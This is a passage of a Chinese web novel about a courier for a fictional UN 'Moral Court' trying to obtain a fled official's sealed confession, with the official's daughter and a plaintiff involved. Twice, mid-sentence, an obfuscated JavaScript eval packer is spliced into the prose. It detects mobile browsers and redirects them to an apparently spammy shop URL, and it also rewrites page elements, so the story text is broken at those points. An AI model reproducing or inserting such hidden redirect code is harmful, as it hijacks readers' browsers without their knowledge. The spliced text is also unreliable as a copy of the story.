她总觉得这里的一切都会在下一秒就崩坏殆尽,这里简陋,浮夸,极尽表达的全是些仅能浮于表面的骗人玩意,就连骗人的道具都不愿意精细一些。而其骗之人所求的又偏偏叫“长寿”。 而她讨厌这种塑料一样的东西。 “那些人,一定是知道真相的吧。”小象说,“或者骗自己去相信你们给出的真实,然后又骗自己忍耐骗局。” “…或许吧。” “你不害怕吗?” “怕什么?” “被揭穿。” “…只要还有人信,那就不叫揭穿,而叫‘反对’。” “真的吗?” “什么?” “你真的这么认为吗?” 小三不再回答了,她取下棒球帽盖在自己的脸上,长久地沉默。 时间过去许久,小象再次得知这长寿村的事情是在一则花边新闻上,“长寿村村长过世”引得一些人发出嘲笑与质疑。小五死去时岁数为两位数,村里有些年龄比她大两倍的都还好好活着呢!诸如此类的言论引来了部分人关注。 但至少她确实死了,小象看着那照片中垂着头的小三,在漫长的旅途中思索起了“死亡”对于自己的意义。 27. 道德法庭与这个世界-上-1 “所以,那个东西现在已经不在这里了。” 小象大受打击。 先前几次工作经历中,特殊情况多发于“交付”与“运输”过程,除此之外,小象的工作还有一个难以忽略的部分,也就是“取货”。而就像是前两者偶尔会带来些趣味性一样,这第三也是最初的一步也偶尔有趣,具体在于,她有时需要自己去寻找委托人指明的货物,就比如这一次。 这次的事件要往回拉很久很久,一直回到小象刚刚开始从事这份工作的时候,那时她还会因自己能任职这一岗位而感到开心,收到第一份订单时,也还没那么善于应对工作中的突发事件。 而相同之处在于,突发事件总会不分时机地找上她。 事件起因还得再往前看点,前段时间出了个大新闻,某个环球资源集团因其矿产业务导致的环境破坏被告上了道德法庭,起诉方是业务之一所在地某河流域旁的民间组织,挖掘队负责人先前给人家说的是要装修,但装修好几年,房子没建起来几栋,家门口眼看就要被挖没了。案件因破坏的对象被交由“自然生态”分庭处理,其下调查部门气候与环境观察组的大老远跑来跑去查了大概半天,结果发现这集团的工程确实没完整授权,且导致当地流域生态遭受不可逆打击。被告方行动违反条例但不至于人类自己无法处理,案件被确认为二层危害,庭审进行的很快,法庭宣判其违反第二条例“对地球造成不可逆或跨界损害的系统性行为或重大不作为”。 惩罚和新规定一大堆,除挖掘方外,要受罚的还有一位官员,在当地算是首屈一指的大官,毕竟要是没这人的公章,挖掘队的车都开不进河道。 而现在小象要做的就是跑去那官员家门口,敲门,把执行函——这人早就知道内容的一张纸递给人家,并取回一封写着大概为“我认栽我悔改我接受你们说的那些东西”的文件——这人应该早就准备好了,并看着这人盖上公章——这个是重点,将东西带回法庭交给监察部门存档,随后她那些负责执行判决的同事们就可以行动起来了。 是的,小象就职于联合国人类道德与伦理至高法庭,简称道德法庭的执行部门,工作内容是送货。 要抵达这位官员家门口可不容易,这是一处发展中小国,交通和网络都还未建设完善,眼前的住宅看着是光鲜亮丽的,明砖小楼带花园,可花园之外,小象只要倒退一步,就能踩上还带着昨夜雨水潮气的泥地。于是她尽可能地往前站,等一位年纪可以当她奶奶的笔挺老人开门后,她告知原委,出示执行人身份证明,并收到了那位官员已经带着公章跑路的消息。 “…跑路?”小象不可置信地重复道,“被告人跑了?不对吧,这还能跑到哪去?海里吗?” 自2000年初,联合国道德伦理委员会与人类至高法庭合并为道德法庭后,该组织手伸得长的破名声已经在这世界上家喻户晓了。但无论如何,其判决总是足够公平且有效的,假如这位官员真的选择跑路,那唯一能安眠的容身之地大概就只有深海外太空或南北极了。 “抱歉,这一点我并不知情。”老人摇了摇头,“我只能这样说:昨夜,那位大人让我以后将小姐看作是这栋宅子的主人,让我照顾好她。随后便离开了,并带走了书房与主卧里的所有东西,所以,您要找的那个东西,现在已经不在这儿了。” “…小姐,是被告人的孩子吧。”小象看着眼前的老人问,“请问你是和被告人的关系是?” “是的,小一小姐目前还在上学。”老人抬起手扶了扶领巾,郑重说道,“我是这栋宅邸的管家,请称呼我为小二吧。” “…原来如此。”小象强装镇定点了点头,心中却是有些不知道该怎么办了,眼前的小二与那位还在上学的小一显然是被那官员抛下的,接下来二人要面临的不仅有申诉方其它受害人的责备,还有当地政府因其跑路带来的压力,社会压力,她光是想想这个词就觉得毛骨悚然。 以及,还有,工作,小象不由得留下一滴冷汗,这可是她的第一份正式工作的第一次正式任务,要是就这样搞砸了那无论如何都不太妙。 “…您看上去有些疲惫。”小二担忧地皱起眉,那带起的纹路都像是被笔画上去的一般,生动地恰到好处,“辛苦您远道而来,抱歉没能带给您想要的答复,不过,现在不如先进屋喝杯茶吧,这样的情况可不适合思考。” “好,好的!”小象迅速回过神来答道,无论如何不能就这样回去,可以进去和小二以及小一聊聊,或许事情会有转机。 小二微笑侧身引客,这番动作实在是优雅,小象有些不好意思地进了花园,大门将屋外的灰黄简陋建筑以及那些角落里探究的视线隔绝在外,周遭安静了下来。 穿过花园石子小道与发亮的木质走廊,小象被小二带着进入散发着面包香气的主屋,并在一处落地窗边的茶桌坐下。一路上,小象没再看见第二个人,不知是本就只有小二一个侍者还是被遣散了。 小二将小象的行李放在一旁,轻轻一鞠躬,转身离开不久后便又悄无声息地带着托盘回来,将热气袅绕的红茶与一小碟杏仁果酱甜饼放置在小象身前,随后表示自己去给小一打电话。 陶瓷杯内的玫瑰花纹与香气很衬桌面花瓶内斜着的红黄蔷薇,以及身旁,净几明窗外,花园内的一丛丛鲜亮花卉。 小二确实把这里照顾得很好,小象心想,却又想起那花园外的情景,一路走来,她所看见的街道上,所有人的眼睛都是黑白分明却混沌的,建筑和车马也是,天空也是,好像有一层擦不干净的灰蒙在了这里。 法庭的裁决会让这花园以外的国土变得更好吗?小象不明白,但反过来却是明了的,法庭的裁决让那官员吓到跑路,很快,这花园围墙内的一切也要被染上灰尘了吧。执行人被禁止以任何方式帮助任何国家的任何个人,想到这里她手里一顿,不知该不该吃那块杏仁甜饼,它看上去还挺好吃的,而自己自从下了飞机后就还没吃过一顿饱饭… “久等了。”小二的声音突然出现在耳边,让小象吓了一跳。 “没,没事!”她迅速回答,又问道,“现在小一是…” “小姐还在学校,由于往返需校车接送无法现在立刻赶来,麻烦您在此稍作等待了。”小二说着摸出怀表摁开,“大概还有两个半小时,小姐说,希望与您面对面谈谈。” 就小象一路走来所感受到的当地社会氛围,一位家境良好的普通未成年人确实最好不要在没有保护的情况下独自外出。 “哦…”小象有些意外,问道,“小一她,知道大概发生了什么吗?” “…大人并没有主动告知我们这件事,贵法庭的案件我多有关注,但她走得突然,我也是刚刚才知道她竟然…小姐她,也该是不知情的,但是…”小二微微摇了摇头,又叹了口气说道,“但是小姐是个聪明的孩子,我想,她大概猜到了一些什么,届时请您不要太过责备于她。” “不不,不会的!”小象连忙摆手,解释道,“我本来就只是来取东西,不会对你们做什么的,而且,而且哪怕是执行判决的也不该对你们动手…” 说到这里,她慢慢停了下来,执行人和当地执法部门确实不至于直接殴打小一小二这两个非直接涉事人,但作为间接受益人,她们被间接连带责任是不可避免的。 “…那就好。”小二笑了笑,她垂下眼,注意到未被动过的甜饼,意外道,“诶呀,难道说甜点不符合您的胃口吗?这是我的疏忽…” “没有的事!”小象立刻回过神来拿起叉子,“我只是在想东西,谢谢您为我准备这些…” “那就请您休息片刻吧,我先退下了,有事的话请随时摇铃呼叫我。”小二微微点头,转身离去。 小象这才松了口气,连忙拿出通讯器将这一情况告知委派任务的上司,优秀表现固然重要,但也得能完成任务才有空考虑评价阶段啊! 通讯器为执行人专用通讯设备,通常用于接收任务,导航,以及联系其它执行人或上司。虽然使用方式比起现代化手机不便得多,但也是可以上网的! 在法庭,小象以及所有执行人的直属上司是法庭的书记,为确保判决的公平性,任何人不得随意联系任何审判长。 书记一如既往地回复很快,那位官员已经被禁止出入境任何国家,眼下找不到人,要么是死了,要么就是被秘密庇护了,针对后面这一点,书记委派了另一执行人前去调查,让小象原地等通知。 小象回了一句收到,纠结片刻,又问道,“如果那个人真的拒绝接受裁决,那她的亲属该怎么处理呢?” “不需要处理。”书记回复,“不要干涉过多与任务无关的人或事。” “我明白了。”小象回复,执行人守则她当然记得。 放下通讯器,叹口气,桌上的杏仁甜饼还是没被动过,小象又纠结了一会,想着茶都喝了也不差这几口,就忍不住伸出了叉子。甜点比她想象中的好吃,或许是因为还热着,那带着橙皮的果酱一点都不发腻,酥软的杏仁饼带着能令人情不自禁微笑起来的黄油和奶油甜香,总之非常好吃! 在小一到家之前,小象先接到了自己同事的电话。 “你就是新来的那个?”同事语气相当不礼貌。 “….你好,我是小象。”小象回复。 “你现在在哪?”同事问。 “还在被告人的家里,她——” “你傻吗?”同事不耐烦地打断道,“还待在那干什么?被告人都跑到隔壁国家去了!你不会是和人家家里和人喝茶聊上了吧?” 小象看着空空如也的盘子,小心翼翼地说,“书记让我原地等通知的。” “得,还真喝上茶了。”同事冷笑,“让你原地等你站哪不好偏偏站被告人家里去,别说我们法庭了,地上的司法机构人要被发现干了这事也少不了被举报,你就仗着信息不对等在人家家里吃喝吧。还是说你就是傻的?执行人守则没记住?你干的活清闲也就算了,别是脑子太久不动所以干脆坏掉了吧?” 小象一忍再忍,自己确实是新人,这次情况确实需要同事援助,这位确实带来了些新消息,自己确实吃了被告人家里的点心… “不说话?哑巴了?”同事疑问。 “…被告人跑到隔壁国家,这是怎么回事?”小象问道。 “哼,是被告人所在国背后的战略支持投资国家,就是之前外交部想通过安理会决议谴责我们法庭管太宽的那个。”同事冷声说完又笑了,“哈哈好吧,至少这点无法否认呢!” “…可是…”小象翻出了被告人身份信息,“这个被告人,也没重要到让这个国家的政府和法庭对着干吧。” “不错,至少你的脑子还在动。”同事回答,“这人当然没那个价值,她原来就是个商人,和本地其它官一样都是买上去想挣钱的,这次不就是?但我这边问了,说了一大堆但就是不放人,甚至想和我动手,奇怪了…” “…有可能是因为被告人和那个被告环球资源集团联系的关系吗?”小象想了想,“我记得总部确实在那个支持国,各方面总有需要配合的,这次她们是不是要赔很多钱来着,涉事管理还要被抓。” “那就更不可能了,矿产只是那个集团的业务之一,国际化的集团是疯了才会想和我们对着干。”同事顿了顿,掩过话筒和旁人说了些什么,又回来道,“我现在是怀疑那个投资国想借被告人的政治身份逼她身后的政府站出来说话,但法庭不干涉国家实体的政治选择,现在只能先查着。我就不在这浪费时间了,被告集团那边的涉事管理人也在你们那吧,我得去抓。” 所以说现在小象要取的货已经不在这个国家了,她愣了愣,问道,“那,我现在干什么?” “哈哈哈!”同事笑了,“你问我?那我回答你,你就回法庭去,告诉书记‘很抱歉我完不成任务了’然后去内务那辞职收拾东西走人。这个建议怎么样?” 一口气梗在喉咙口,小象不知道该说什么,但她看着空空的茶杯,并不想就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17296747|198569||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这样离开,于是她深吸气,回答道,“很烂的建议。我还要在这里停留一段时间,也不准备就这样离职。” 通话陷入沉默,说完她就后悔自己这么硬气了,如果这位同事之后会来这里,那说不定会和她碰面,那得多尴尬啊。 “…哼。”同事笑了,“随便你吧。” “…请问,你怎么称呼?”小象试探着问道。 “…你居然不认识我?!”同事语气惊讶得像是看见外星人来拜访了,“你,我们之前在食堂不是碰过面吗?你绝对看见过我吧怎么可能不认识我?!” “…可能是因为,你没和我说过话,所以我认不出你的声音?”小象说。 “…总之你给我记住了,我是小三,听清楚了吗?”小三一字一句地问道。 “清楚了清楚了。”小象回答。 小三冷哼一声,把电话挂断了。 执行者都使用代号,从前一切身份信息作废,且无论是否在工作时间都不得再因个人原因接触入职前有联系的任何人事物,当自己入个职后重生了一次就行,至少小象没觉得有多难。 叹口气,小象收起通讯器,开始认真考虑起后续该怎么办。她目前的任务只有一个,那就是将“盖着公章和签名的认罪书”带回法庭,但能这样做的人却跑去了法庭反对国,如果说小三都要不到人,她更是没可能做到。眼下她只能把希望放在即将到来的小一身上,或许那位官员会看在自己孩子的面子上出来签个字呢?小象这样想着,自己都觉得自己可笑。 “…您好。”慎重的问候声打断了小象的思考,她抬头,看见了一位年约十六七的少年站定在桌对面,她还穿着校服,方框眼镜与领口因来时步履匆忙有些乱了,但整个人无一处可被指摘不端庄,这在这个国家实在是难得,小象都可以想象她就读的学校一定有着一堵远比此处花园更厚更高的墙。 “让我介绍一下。”小二从侧边走出,“这位就是我先前在电话中向您介绍的小象小姐了,而这位便是小一小姐。” “你好,我是小象。”小象站起身与小一握了握手,她感受到对方指尖有些颤抖,不免在心中叹息。 “那么,我去为二位沏茶。”小二说着,收拾了一番茶桌便离开了,小一看了看她,抿着嘴没说什么,在小象对面坐下,并将双手放在膝盖上。 “…我听说小二阿姨说了,您是来…给我的母亲送法庭的执行函,并希望她能签署认罪书,对吧?”小一看着小象问道,她头颅略微下压,声音稳定,但谁都能听出她的紧张。 这就是那个法庭的执行人吗?小一在心中回忆着自己方才打量得来的信息,无论怎么看都是普通人,与从新闻上见过的那些实在是差远了,但或许只是表象。无论如何,就是这样一个人要决定自己以后的命运了,她内心深处为此感到悲哀,也为自己要做的事下定了决心。 “确实是这样。”小象点头,又说,“想必你也知道,你的母亲在昨晚带着公章离开了吧。” 闻言,小一的嘴唇颤抖了几下,随即很快又镇定下情绪,点头说,“是的,说实话动静并不小,我有听到。” 随即,她停顿一下,又道,“但您是不久前才知道这件事的,也就是说…我的意思是,您有将这件事告知法庭中的其它人吗?” 小象有些不忍,但她还是回答道,“是的,法庭书记已经知道这件事,而且我的同事已经查出被告人的所在地了,是贵国的战略支持投资国,对方不愿意放人。” 闻言,小一却是松了口气,“我的母亲失踪,但您作为法庭代表依旧在这里,也就是说事情还有可挽回的余地,对吧。” “…我可以理解你处境困难,但是说实话,很难。”小象硬着头皮说,“那边不放人的原因如何不说,现在看来,即使是真的见到了被告人,她或许也是不愿意签署这份文件的。我之所以还留在这里…” 她说到这停了下来,她留在这只是因为向同事放过狠话,不想就这样灰溜溜地回去,这样的话怎么可以对眼前的小孩子说出口啊! “我的意思是,您还留在这里对我而言就是有机会。”小一说。 “我吗?”小象有些不好意思,“其实…我只是…” “我想,您要做的事,是将执行函交出,并带回一份有可验证信息的文件,对吧?”小一冷静地问道,“我国还未能实行生物信息采集,所以验证的东西只有我母亲的签名,和职位公章,而认罪书本身的内容只要清晰就足够了对吧。” “…确实。”小象有些意外,又道,“签名需要可验证字迹,公章更是无法复制的,你是想说…” “是的。”小一点头,“公章本身比持有公章的人更重要,甚至在这里,只要政府不主动干涉,持有公章的人才是官员。如果说我能提供这些,那么您就不需要去找我的母亲,我国监控部署极少,她更是提前为自己遮掩行踪,造成自己人间蒸发的现象。而且现在情况特殊,她没有可能站出来否认的,这和直接反对法庭判决无异。” 闻言,小象沉默,在心中斟酌对方所言有几分可信,眼前的小一俨然已有自己的想法,并不因母亲的突然离开而慌乱,甚至,这对她而言或许更像是一次机会。 小一因对方的沉默而紧张了起来,她压低声音说道,“失踪不见人,又不直接站出来表态,她的目的只可能是为了拖延时间。” “…为了什么拖延时间?”小象问道。 小一沉默片刻,看着小象,她面无表情。小一心中急切起来,一咬牙说道,“为了,给这里的——” “失礼了。”小二悄无声息地来到桌边,放下新的茶与甜点,乒乓球大小的蜂蜜糖球堆叠成了一座小山,她向二人微笑说道,“希望甜食放松二位的神经,并更轻松地谈话,那么,我先告退了。” 小象目送对方离开,回头,小一又恢复了一开始的冷静模样。小象没说什么,叹了口气拿起叉子,之前的都吃了,不差这一口。小一见状放松许多,也拿起了叉子。 28. 道德法庭与这个世界-上-2 糖份总是有效的情绪安慰剂。 “…有这样一位管家可真好。”小象感叹道,“至少做点心这方面没得挑了。” “是的…”小一怀念地笑了,“自从母亲带着我搬入这栋宅子起,小二阿姨就一直作为管家管理这里的一切,这么多年来,我长大许多,她却好像一直没有变过。” “说起来我没有看见别的侍者,是都离开了吗?”小象问道。 “…是的,我母亲离开时并没有避着大家,再加上贵法庭的案件大家都会关注,很多人都猜这事和我母亲有关,法庭执行的手段大家都很害怕,所以大多数人在昨晚就离开了。”小一无奈说道。 同作为法庭执行人,小象对自己被连带风评下降表达无能为力。 “但是,小二管家并没有走。”小象看向小一,说道,“你也是。” “…我,我不能就这样离开。”小一声音轻了下来,“母亲让阿姨照顾我,她没走,我很感激。但现在…我清楚没过多久政府和本地一些组织的人就会找上门来,问我要个说法,我们家是靠卖建材起家的,速度快但在本地势力单薄,我还有一些钱但没有足够的力量,最好的情况也不过是变为平民。我见过那些失去靠山后流入民间的人,没一个能活过一年的。我,我不仅要为自己考虑,也要为阿姨考虑。” 她的这段话说得磕磕绊绊,比起先前的对谈内容更飘忽不定,但也更真诚,小象就也认真地回答,“那么,你找到我是觉得我能帮你些什么吗?很抱歉,我也是前不久才入职的,能力与资历都远远达不到能帮到你的标准,而且,按照执行人守则…” “我不会让您难堪的!”小一抬高声音回答道,“我,我是希望能借您的身份去见一个人。正常而言,我连和那位说话的机会都没有,毕竟在先前我们也算是站在对立面的吧…” “…是哪位?”小象问道。 “…我国长期依赖它国的资源和支持在国际上立足,所以很多方面都不得不站在被剥削方。就比如这次,那处矿产,我相信您也知道,其开发程度早已超过了自然可承受的范围,那不是开采,而是一种谋杀。”小一看着小象的眼睛,紧张地说,“我国境内有一支由反对这种现象的人组成的民间组织,我想见的,就是这组织的首领小四。” 这名字有些耳熟,小象一愣,说道,“这不是这起案子的起诉人吗?” “正是。”小一点头。 该组织虽说是民间组织,但与官方组织相差的不过是一枚公章罢了,小象知道该组织明面上是互助会形式的非盈利慈善组织,但没想到其首领也有这方面想法,现在看来其起诉目的要圈出来画个问号了。不过那是调查部门的工作,而且现在判决已下,她不该追究这些。 “…原来如此,那我确实有权利去见她,也可以带上你。”小象看着小一,问道,“但是你要知道,公章和签名是无法伪造的。” “…不需要伪造。”小一笑着摇了摇头,问道,“那么,我可以看作您同意了这一交易吗?” 要用自己的身份作为门票去换取一份罪人都未曾见过的认罪书吗?换一句话说,要利用自己的职务之便去换取任务完成的道具吗?小象想来想去,总觉得这是一种内部消化,是一种形式主义,这是执行人守则所禁止的。但她看向眼前的小一时,她又意识到自己还有抉择的余地,但对方是没有的。 书记啊请原谅我!小象眼睛一闭一睁,回答道,“好,我答应你。” 于是小一的表情肉眼可见地欣喜了起来,她定了定神,站起身道,“那么,请跟我来吧。” 二人沿把手闪亮的螺旋楼梯上行来到二楼,地面同样一尘不染,但沿途边角与墙壁有不少磕碰痕迹,小一无奈地解释那是侍者离开时造成的,显然那些缺了内容的画框也是因为如此。 小一并没有带小象去书房或主卧,而是来到自己的卧室,从书柜里抽出了一本文件夹,那上方还写着她的班级和“数学”字样,显然是校用。她翻开,直接扒到最后,将扣在上方的收纳册取下,扯出其中内容物—— ——那是十几张有着标题,抬头,签名,以及公章盖章的打印纸,中间那最大面积的内容区空白得像是患上了虚无主义,夹杂在那些蜂拥的信息中却什么也看不到。 小象接过,不可置信地翻看着,“…这是…” “是商品。”小一垂眼看向自己的文件夹,轻声笑道,“我的母亲,以及本地的许多官员都在贩卖这种东西,我猜想她或许是害怕这件事暴露才搞失踪这一套。而现在,我也要把它卖给您了。” 说完,她收起文件夹放回书柜,又看向小象问道,“要现在就补充内容吗?我可以帮忙的,书房里就有打印机。” 没过多久,小象得到了还热乎的认罪书,她有些纠结接下来的行动。这确实是有效的任务完成道具,即使书记或小三怀疑,她也可以说是那位官员提前写好认罪书后才跑路的,将这份文件带回法庭后她的任务就算是完成了。可若不带回去的话…想到这里小象不禁笑了,她本就是为了这玩意才留在这里的,如果不带回去,那这些时间算什么? 这些暂且不谈,眼下还有另一件事要做,那就是带小一去见小四,因担心安全问题,她将宅子里有用的都塞进行李箱搬上车带走了,小二开车,可以说她们现在随时可以搬家。 “…抱歉,请谅解一下。”车上,小一也有些尴尬,“先前有暴民往官员住宅扔□□的例子,现在我们家已经没有追查的能力了。” “我倒是无所谓。”小象摇了摇头,“但是如果小四那边不愿意帮你,你回来后家真的被炸了怎么办?” “…那就是最坏的结果了。”小一叹了口气,抬起头时,她说,“我准备好了。” 以法庭执行人的身份,小象联系上调查部门要来了小四的联系方式与住址,提前发去了拜访邮件,用的理由是裁决执行相关事务咨询,对方没有拒绝。 在撇开政治要素后,小四就只是一处普通社区慈善组织的普普通通负责人。这组织规模不大,十几个人平日就在街角一栋不足小一家大的砖瓦楼房里给街上的人提供工作咨询服务,谁也没想过这中介会转手把那么大的集团告上道德法庭。 车停屋外,小象看见那周围一圈带枪守卫,心想这起诉人还挺懂风险预防的。 在道德法庭,起诉方与被告方可以是任何人,团体或国家实体。起诉后,案件信息交由调查部门查证,确认分层后进入法庭审理程序。 案件按危机等级分三层:通常情况下,一层危机普通人类无法申诉;二层,也是当前案件的危机层次,则需要被确定违反法庭设定的五条准则才接受审理;三层是近几年才逐渐被法庭接受审理的,案件需处于“未直接违反二层条例的情况下,严重违□□识性法律导致人类重大损失”的情况。 这第三层的出现也是法庭风评下降的理由之一。 即使提交申诉没有费用,但这样做的人还是不多,不符合标准的案件法庭不受理,同时,法庭不为申诉人或被害人提供任何法庭所在范围外的保护,并会将案件的完整信息向全世界任何国家的公民公开。 正是因为这一点,小四最近似乎很忙,她的助理前脚刚送走一批客人,后脚又把小象三人迎进屋,客套话用得都是同一套。看对方招呼守卫放人的用词,小象发现这些并不是雇佣兵或其它短时工,而本就是这里的人。 进入办公室内,小四主动起身与小象握手,她才三十岁出头的年纪,就已经与那些把西服当贴身衣物穿的政客有相似的面孔了,她盘起头发眯眼微笑,弧度维持在礼貌的角度上没再动过,手松开后她才看向小一与小二,问候与眼神停留没有超过两秒,小一的肩膀肉眼可见地紧绷了起来。 “我还没听说过有其它客人会来呢,不过来者是客,都请坐吧。”小四笑着转头吩咐助理带茶回来。 小象表现得自然,但小一知道,这茶叶咖啡之类的在本地并不是常见的东西,于是她就更紧张了。 三人落座,小二站在小一座位后方,沉默得像个摆饰。 “我是小象,法庭裁决执行人之一。”小象自我介绍道,“就先前法庭裁决的执行,我有些问题想问你。” “当然了,执行者大人,任何问题,我愿意用我脑子里的任何词汇回答您的任何疑问。”小四吐字像唱歌,她轻轻皱眉,像是真正忧心问题一般问道,“请问,是什么样的问题让您不得不亲自来问我呢?” 她在“亲自”上加了重音,虽然表情上看不出来,但小象就是莫名觉得对方对自己有所不满,这可奇怪,起诉方怎么会对法庭的工作人员有所不满呢?她们可是真的从没见过面的。 “叫我小象就好…是这样的。”小象清了清嗓子,“惩罚的对象中有一位本地的受贿官员,我相信你认识,但我刚刚才得知她提前逃跑了,我们猜测她投靠了另一国家,不知你是否知情。” “当然…当然…自甘下贱的蝙蝠,祖国的蛀虫,可耻,可恨。”小四垂下眼,轻声念叨,又在下一瞬间抬眼转头看向小一,扶住脸问道,“哦抱歉,我忘记顾及您的想法了,作为那人的孩子,若是您因我的用词受伤,那可真是抱歉了。” 小一面色与声音都很僵硬,“…不,我…” “利用这里的土地获利,恶意伤害自然环境并诓骗本地人,本该在这样的危机时刻担起责任,却因害怕惩罚而跑去另一个国家,即是对祖国的不信任与背叛,也是对这里每个人的巨大伤害。”小四喃喃着,语气里听不出恶意来,“真是,罪该万死。” “所以,你知道她做了什么。”小象问道。 “当然了,执行者大人。”小四郑重点头。 “不仅仅是现在,你一直知道。”小象看向小四,“你早就知道她会‘恶意伤害自然环境’直到触及法庭标准,没错吧。” 小四微微侧过身来,歪了歪头,疑问,“您是因为我说的这番话才这样问的吗?执行者大人?” 小象没有回答。 “奇怪…我明明记得那是裁决之前才需要进行的工作来着,或者说最近多出了些新的规矩?”小四点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17296748|198569||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了点额头,眼睛紧盯小象,“还是说,这其实只是您的借口呢?执行者大人?” “…什么借口?”小象皱起眉问。 “动手的借口。”小四笑了,“就像是你们需要‘认罪书’一样,就像是您在抵达前半小时不到给我发送的拜访邮件一样,就像那集团向原住民许诺‘装修’一样,可有可无,冠冕堂皇的借口。唯一的作用不过是给你们的行为做上些许修饰,哦对了,也能让被动者的妥协显得没那么难堪。” 说着,她忽然又摊手,左右转了转头,“哦抱歉,瞧我,又开始抱怨起来了,原谅我吧,最近遇到太多糟心事。” 至少小象现在确定小四真的是对她,对法庭有所不满了,在为自己公司打抱不平之前,她先是好奇,“所以你也像那个投资国的代表一样,是觉得法庭管的太宽了吗?” “怎么会呢?执行者大人。”小四笑着说,“若是如此,我怎么会上庭起诉。” “…所以,您是觉得道德法庭的庭审标准让一些受害人难以维权,对吗?”小一开口问道。 闻言,小四笑容没变,缓缓转头问道,“小妹妹,你叫什么名字呀?” “我,我叫小一。”小一有些激动地自我介绍,“我——” “小一。”小四微笑着打断道,“你这样说,是想要离间我与执行者大人之间的感情吗?这可不行呀,我可是道德法庭的忠实粉丝呢。” 小一的表情僵住了,但小四却浑然不在乎,理了理头发继续说道,“每起公开案件我都看,每个分庭我都关注,生命,自然,智械,战争,经济,甚至第六法庭,每一条标准,得益于法庭的慷慨,每个案件我都能仔细阅读。” 说着,她又换了副带着些许愁容的表情面向小象,开口时声音也沉了些,“执行者大人,其实我,我本是有些自卑的。我周围的那些苦痛,真的配得上道德法庭第二层的任何一条标准吗?若是不符合,那我国法律也不足够严格到能将其推举到第三层,届时我若灰溜溜地回来,要面临的可不仅仅是失望的朋友们,您知道的吧。我怎敢在没做好准备的情况下上庭呢?别的不说,从这到首都机场的路费可就不便宜呢。” “不过,无论如何你成功了,无愧于你的努力。”小象在最后两个字上加了重音,“这样的情况下,那位官员的跑路对你而言可不是个好消息吧,尤其是她还跑到了隔壁国。” “跑到隔壁国就没办法了吗?”小四好奇道,“我可记得,国境线或海关或港口或警卫队都是拦不住各位执行者大人的。” “那是建立在对方明确拒绝配合的情况下,她现在只是‘失踪’。”小象说。 “哦,所以找的借口得迟一点才能生效。”小四恍然大悟地点头,又问道,“那么,执行者大人为何如此急切呢?” “…你倒是不急。”小象疑惑。 “因为我相信各位执行者大人嘛。”小四摊手,“而且,除了相信,我也做不到别的什么事了,如您所见,我们不过是个小组织。” 看着对方这份理所应当不配合的样子,小象有点讨厌这个人了。 “…不是这样的吧。”小一开口,“起诉案件需要的前置证据收集并不是随便一个慈善组织能做到的,案件信息中,部分内容并不是非政府成员能接触的。但是,但是您做到了。我并不是在指责您什么,只是——” “只是觉得我不该隐瞒身份?”小四疑惑,“我确实不止负责人一个身份,也做过许多其它工作,可我现在确实只有这一份正职,小妹妹,你不会是找错地方了吧?” 那担忧语气中毫无保留的怀疑与些许轻蔑让小一差点哑了嗓子,她捏紧握在膝盖上的拳头,刺痛无法平静内心,忽然,她感到肩头一沉,身后有谁扶住了她僵硬紧绷的肩膀,没有别人,她的身后只有小二了,想到这一点,她恢复了冷静。 “…您,确实并不急于寻找我母亲的下落呢。”小一看着小四谨慎开口道。 “急也没用啊。”小四状似无奈地摊手。 “我原先以为,母亲选择用失踪来拖延时间,是为了摆脱受贿带来的本地政府追捕。但看您的态度,我现在有了新的想法。”小一继续道,“或许,道德法庭的裁决成功只是您预想好的一步,毕竟您准备了很久,久到那集团确确实实跨越了法庭的标准线。” “怎么,你也想来指责我吗?”小四问道。 “…不,我钦佩您的眼界。”小一面不改色地回答道,“若是支持国政府坚持不交还我的母亲,那么道德法庭便会因被告人失踪,转为向本地政府的其它负责人执行惩罚。届时本地政府或许会选择顺从,但更大的可能是听从支持国的指挥选择与法庭对抗,毕竟它们一直以来都是这幅态度吧。届时这里会陷入混乱,而那或许便是您想要的,毕竟这里已经从根基开始腐败不堪,若不清理彻底,便也没有焕发新生的可能了。” 说完,她真挚而好奇地问道,“请问,您是从多久以前开始考虑这些的呢?那时的您比现在的我还年轻吗?” 办公室内沉默了许久。 29. 道德法庭与这个世界-上-3 助手再次入门添茶后,对话得以进展。 “多久以前?我不太记得了。”小四看向窗外开口道,“我只记得,那时我也还在上学。” 天色已经不再像小象刚到时那样明亮了,但不透景色的玻璃窗还亮着。 小一顿了顿,本地接受教育的要求可不低,眼前的小四曾经或许也是富商或官员家庭,但她现在在这里,独自一人。 “我读书那会儿,河边还只有穿草鞋的人,没有机械,没有工程师。”小四说着笑了起来,“甚至没有道德法庭呢,那时大陷落还没发生,这个世界平凡得令人安心。” 听到关键词,小象回忆起了这第六法庭唯一公开案:1999年,某国,当地时间12月31日23时59分59秒,国境内各地区发生“陷落”现象;世界各地发生时长约3~5秒的微型地震,各地区,尤其北极地区海平面上涨。这些比起接下来的都不算什么:地外生物组织降临,自称人类至高法庭,降临目的为接管人类的未来。 无论如何,那个组织现在已经不复存在了,只剩下道德法庭还在留在被命名为“巴别塔”的人造岛屿上。 “…但是,那时的这里就有支持国的活动了吧。”小一说到。 “嗯。”小四点头,用开玩笑的语气说,“那时我们就在活动了,比道德法庭寿命长多了不是吗?” “…那时,你们立国才没多久吧。”小象惊讶道。 